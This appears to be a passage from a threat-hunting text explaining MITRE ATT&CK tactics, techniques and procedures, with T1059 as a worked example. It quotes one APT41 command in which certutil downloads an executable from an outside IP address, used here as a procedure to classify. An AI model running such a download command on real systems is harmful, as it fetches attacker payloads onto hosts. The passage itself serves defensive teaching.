A threat actor tactic is the adversary’s tactical goal—the reason for performing an action. In ATT&CK, tactics answer “why,” while techniques describe “how.” section 2.6
Use the ATT&CK hierarchy to connect goals with observable behavior:
- Tactics express goals such as execution, credential access, exfiltration, or impact. section 2.6
- Techniques describe actions used to achieve those goals, such as dumping credentials for credential access. section 2.6
- Subtechniques refine behavior, while procedures record specific implementations used by adversaries. section 2.6
From action to tactic
A threat-hunting play can map Command and Scripting Interpreter (T1059) to the Execution tactic, then refine it to PowerShell (T1059.001) or Windows Command Shell (T1059.003). section 2.6
Listing 2.1 APT41 using certutil to download 2.exe
certutil -urlcache -split -f http://91.208.184[.]78/2.exe
Use the certutil command as a concrete procedure example and ask which adversary goal the download supports. section 2.6

